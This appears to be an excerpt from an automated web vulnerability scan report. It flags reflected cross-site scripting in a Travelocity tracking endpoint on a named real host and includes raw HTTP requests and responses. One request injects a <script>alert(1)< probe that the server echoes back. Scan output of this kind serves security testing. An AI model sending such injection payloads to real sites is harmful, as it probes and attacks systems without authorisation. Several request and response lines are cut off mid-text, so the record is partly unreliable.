1. Cross-site scripting (reflected)
1.1. http://travelocity.tt.omtrdc.net/m2/travelocity/mbox/standard [REST URL parameter 1]
1.2. http://travelocity.tt.omtrdc.net/m2/travelocity/mbox/standard [mbox parameter]
Severity: | High |
Confidence: | Certain |
Host: | http://travelocity.tt |
Path: | /m2/travelocity/mbox |
GET /m2296ac<script>alert(1)< Host: travelocity.tt.omtrdc.net Proxy-Connection: keep-alive Referer: http://www.travelocity Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* |
HTTP/1.1 403 Permission Denied Content-Length: 119 Date: Sun, 31 Oct 2010 23:18:17 GMT Connection: Keep-Alive Content-Type: text/plain Access Denied to "/m2296ac<script>alert(1)< |
Severity: | High |
Confidence: | Certain |
Host: | http://travelocity.tt |
Path: | /m2/travelocity/mbox |
GET /m2/travelocity/mbox Host: travelocity.tt.omtrdc.net Proxy-Connection: keep-alive Referer: http://www.travelocity Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* |
HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 214 Date: Sun, 31 Oct 2010 23:26:01 GMT Server: Test & Target mboxFactories.get( |